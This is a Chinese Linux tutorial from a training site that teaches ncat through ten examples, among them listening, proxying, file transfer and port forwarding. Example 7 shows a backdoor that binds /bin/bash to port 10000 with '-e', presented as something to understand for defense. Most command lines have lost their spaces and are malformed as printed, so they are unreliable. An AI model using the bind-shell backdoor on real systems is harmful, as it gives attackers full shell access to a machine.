扣丁学堂剖析Linux系统之10个例子教你学会ncat命令
2018-01-04 10:53:52
711浏览
今天扣丁学堂小编给大家整理了关于ncat或者说nc是一款功能类似cat的工具,但是是用于网络的。它是一款拥有多种功能的CLI工具,可以用来在网络上读、写以及重定向数据。它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
ncat/nc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的TCP代理。由于有这么多的功能,它被誉为是网络界的瑞士军刀。这是每个系统管理员都应该知道并且掌握它。
在大多数Debian发行版中,nc是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS7/RHEL7的最小化安装中,nc并不会默认被安装。你需要用下列命令手工安装。
[root@linuxtechi~]#yuminstallnmap-ncat-y
系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。管理员还能用它作为客户端来审计Web服务器、telnet服务器、邮件服务器等,通过nc我们可以控制发送的每个字符,也可以查看对方的回应。
我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。
在本文中,我们会通过10个例子来学习如何使用nc命令。
例子:1)监听入站连接
通过-l选项,ncat可以进入监听模式,使我们可以在指定端口监听入站连接。完整的命令是这样的:
$ncat-lport_number
比如,
$ncat-l8080
服务器就会开始在8080端口监听入站连接。
例子:2)连接远程系统
使用下面命令可以用nc来连接远程系统,
$ncatIP_addressport_number
让我们来看个例子,
$ncat192.168.1.10080
这会创建一个连接,连接到IP为192.168.1.100的服务器上的80端口,然后我们就可以向服务器发送指令了。比如我们可以输入下面内容来获取完整的网页内容
GET/HTTP/1.1
或者获取页面名称,
GET/HTTP/1.1
或者我们可以通过以下方式获得操作系统指纹标识,
HEAD/HTTP/1.1
这会告诉我们使用的是什么软件来运行这个web服务器的。
例子:3)连接UDP端口
默认情况下,nc创建连接时只会连接TCP端口。不过我们可以使用-u选项来连接到UDP端口,
$ncat-l-u1234
现在我们的系统会开始监听UDP的1234端口,我们可以使用下面的netstat命令来验证这一点,
$netstat-tunlp|grep1234udp000.0.0.0:12340.0.0.0:*17341/ncudp600:::1234:::*17341/nc
假设我们想发送或者说测试某个远程主机UDP端口的连通性,我们可以使用下面命令,
$ncat-v-u{host-ip}{udp-port}
比如:
[root@localhost~]#ncat-v-u192.168.105.15053Ncat:Version6.40(http://nmap.org/ncat)Ncat:Connectedto192.168.105.150:53。
例子:4)将nc作为聊天工具
nc也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。在服务器这端运行:
$ncat-l8080
在远程客户端主机上运行:
$ncat192.168.1.1008080
之后开始发送消息,这些消息会在服务器终端上显示出来。
例子:5)将nc作为代理
nc也可以用来做代理。比如下面这个例子,
$ncat-l8080|ncat192.168.1.20080
所有发往我们服务器8080端口的连接都会自动转发到192.168.1.200上的80端口。不过由于我们使用了管道,数据只能被单向传输。要同时能够接受返回的数据,我们需要创建一个双向管道。使用下面命令可以做到这点:
$mkfifo2way$ncat-l80800<2way|ncat192.168.1.200801>2way
现在你可以通过nc代理来收发数据了。
例子:6)使用nc拷贝文件
nc还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了ssh/scp。不过如果你恰好遇见个没有ssh/scp的系统的话,你可以用nc来作最后的努力。
在要接受数据的机器上启动nc并让它进入监听模式:
$ncat-l8080>file.txt
现在去要被拷贝数据的机器上运行下面命令:
$ncat192.168.1.1008080--send-only<data.txt
这里,data.txt是要发送的文件。-–send-only选项会在文件拷贝完后立即关闭连接。如果不加该选项,我们需要手工按下ctrl+c来关闭连接。
我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。
例子:7)通过nc创建后门
nc命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。为了保护我们的系统,我们需要知道它是怎么做的。创建后门的命令为:
$ncat-l10000-e/bin/bash
-e标志将一个bash与端口10000相连。现在客户端只要连接到服务器上的10000端口就能通过bash获取我们系统的完整访问权限:
$ncat192.168.1.10010000
例子:8)通过nc进行端口转发
我们通过选项-c来用nc进行端口转发,实现端口转发的语法为:
$ncat-u-l80-c'ncat-u-l8080'
这样,所有连接到80端口的连接都会转发到8080端口。
例子:9)设置连接超时
nc的监听模式会一直运行,直到手工终止。不过我们可以通过选项-w设置超时时间:
$ncat-w10192.168.1.1008080
这回导致连接10秒后终止,不过这个选项只能用于客户端而不是服务端。
例子:10)使用-k选项强制nc待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。但通过选项-k我们可以强制服务器保持连接并继续监听端口。命令如下:
$ncat-l-k8080
现在即使来自客户端的连接断了也依然会处于待命状态。
以上就是关于扣丁学堂
Linux视频教程之10个例子教你学会ncat(nc)命令,最后扣丁学堂的Linux培训课程从基础入门开始教,不论学员是否拥有基础在扣丁学堂都能顺利的学习,扣丁学堂不仅有专业的老师和与时俱进的课程体系,还有大量的
Linux培训视频教程供学员观看学习,想要学好Linux开发的小伙伴快快行动吧。扣丁学堂Linux技术交流群:422345477。

关注微信公众号获取更多的学习资料
查看更多关于“Linux培训资讯”的相关文章>>
标签:
Linux命令
Linux视频教程
Linux培训
Linux在线学习
Linux在线视频